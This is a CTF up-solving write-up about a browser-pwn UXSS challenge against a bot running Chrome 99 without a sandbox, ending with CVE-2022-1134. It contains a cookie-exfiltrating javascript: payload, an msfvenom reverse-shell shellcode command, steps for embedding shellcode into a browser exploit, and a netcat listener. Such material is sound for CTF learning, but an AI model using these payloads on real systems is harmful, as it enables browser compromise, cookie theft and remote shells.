Almost (i.e. not) solved by O0056 - T0003 (2022) @ TWY’s Temple in the time of the competition.
This is an up-solving writeup and a grumble on how close I was during the competition.
Author: darkfloyd & ken
Category: pwn
Difficulty: ★★★☆☆
Description:
CTF player must know how to UXSS again. (奪旗賽玩家肯定識點樣通用跨網站指令碼架啦又)
[host:port]
Hints (2022-11-13 00:00):
(300 points, 0 solves) as of the end of the competition
No attachment was provided.
CVE-2022-1134
https://github.blog/2022-06-29-the-chromium-super-inline-cache-type-confusion/
Opening the webpage, we see a setup looks similar to typical bot (crawler) for web XSS challenges in CTFs (well it already has the name XSS in the title), which asks for a URL for it to visit.
Noticing that the challenge is a reference to one of the challenges in HKCERT CTF 2021, babyUXSS, I thought perhaps we can banter with last year's payload (or in general a payload to test if the XSS bot is poorly designed) which abuses malformed URL.
javascript:location.href='your_bin?z='+document.cookie
What is UXSS? According to Acuentix:
UXSS preserves the basic XSS traits: exploit a vulnerability, execute malicious code, however there is a major difference:
Unlike the common XSS attacks, UXSS is a type of attack that exploits client-side vulnerabilities in the browser or browser extensions in order to generate an XSS condition, and execute malicious code. When such vulnerabilities are found and exploited, the behavior of the browser is affected and its security features may be bypassed or disabled.
In short, pwning your browser with a webpage. Simple? I don't think so. But Ken does.
Standing up to my expectation, my script was not executed and I was greeted with an error message.
Confirming that this is a pwn challenge, I turned my attention to browser pwn, so I sent it a normal URL and hoped if I can find something interesting in the header.
The user-agent
header caught my interest. It is a header that provides information of the requesting machine such as application, OS, vendor and/or their respective versions.
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
We can see the browser the bot is running is Chrome 99.0.4844.51
and it's being served on Linux systems.
How do I know it's Chrome when there are so many browsers/platforms mentioned in user-agent
?
You can check it out at
https://security.stackexchange.com/questions/126407/why-does-chrome-send-four-browsers-in-the-user-agent-header
As this challenge being a reference to babyUXSS, the following part will complement on why I am so sure it is Chrome.
It doesn't hurt to check the setup of the bot in the original babyUXSS.
The implementation of the visit
function reinforces my guess on the bot being run on Chrome and with reference to the second hint, I was certain that this is a browser pwn challenge exploiting Chrome 99.0.4844.51
.
https://peter.sh/experiments/chromium-command-line-switches/ provides a comprehensive list of command line flags for us to reference.
--disable-gpu
: Disables GPU hardware acceleration. If software renderer is not in place, then the GPU process won't launch.
--headless
: Run in headless mode, i.e., without a UI or display server dependencies.
--no-sandbox
: Disables the sandbox for all process types that are normally sandboxed. Meant to be used as a browser-level switch for testing purposes only.
Due to it not being a 5-star challenge and the Chrome version is relatively old (current version: 107.0.5304
), I thought we were not asked to exploit a 0-day or a CVE with no public exploits (i.e. you need to buy it from someone), but the Google search engine disappointed me.
Noticing the switch --no-sandbox
, I looked for exploits that required --no-sandbox
to be succuessfully run. It is more likely to have a script online because it is easier to fuzz as no sandbox escape is needed.
Searching on Google, the first CVE I came accross with is CVE-2020-6418
(ref: https://www.cnblogs.com/Rain99-/p/14673789.html).
Although if you read the referenced blog, you can see it says the payload only works on Chrome < 80.0.3987.122
, it also says in actual testing the payload also affects Chrome 90. Despite knowing the chance of success was very small, I still tried this exploit.
As I am not a proficient pwn player, I can't explain much on the detail of the vulnerability. In short, the script lets you write arbitrary shellcode into the corrupted memory and executes it.
Following the guide in the blog, we can generate shellcode which gives us a reverse shell when executed with the following command (on Kali Linux/or any distros if you have installed the Metasploit framework):
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[Your host] LPORT=[Your port] -f c
where -f c
means outputting the shellcode in C language.
We will then get an output similar to this:
We can change the shellcode to be compatible with JavaScript by removing "
and \n
and replacing \
with ,0
. After conversion, we will have a number array looking like this:
Then we replace the content of the variable shellcode
in the script with the one we crafted.
Because of the fact that this bug has been already patched in versions <= 99.0.4844.51
, this attempt was of course in vain.
Then I came across with another exploit: https://www.adminxe.com/2204.html, which was also not successful.
After several many fucking hours of googling, I was to no successful attempt of fiding the correct CVE (there exists some type confusion exploits but with no poc script), and at that moment (around 2022/11/13 12:00:00 UTC+8) I had to surrender because I need to leave my home. I passed it to my teammates and unfortunately they were to no avail by the end of the comepetition.
A quote from one of my teammates speaking my mind:
Translating to:
It takes a serendipity to google.
I am not meant to meet the poc.
After the comepetition ends, one of the authors Ken revealed that the actual CVE number is CVE-2022-1134
, which Man Yue Mo has written a brilliant blog explaining the vulnerability in great details (refer to TL;DR for the link).
Interesting enough, the exploit must be served through HTTPS as DeviceMotionEvent
is restricted to secure browsing context (ref: https://chromestatus.com/feature/5688035094036480) and it cannot be run in headless browsers (which according to Ken not having this part of knowledge doesn't affect solving), so I served my script with the crafted shellcode on Pipedream.
We configure the Pipedream worker as such:
where we paste the script into the response body.
On our server, we can expose the socket that we input when generating the shellcode with msfvenom
with Netcat service (nc/ncat/nc64.exe…). In my case hosting an Ubuntu server and generating the shellcode with port 4444, I used the command
nc -nlvp 4444
which you can get an explanation of the command at https://www.explainshell.com/explain?cmd=nc±nlvp+4444
We send the URL to the bot and in no time, voilà, we received a shell and we now have control over the server.
I don't agree it's a 3-star challenge. That's all.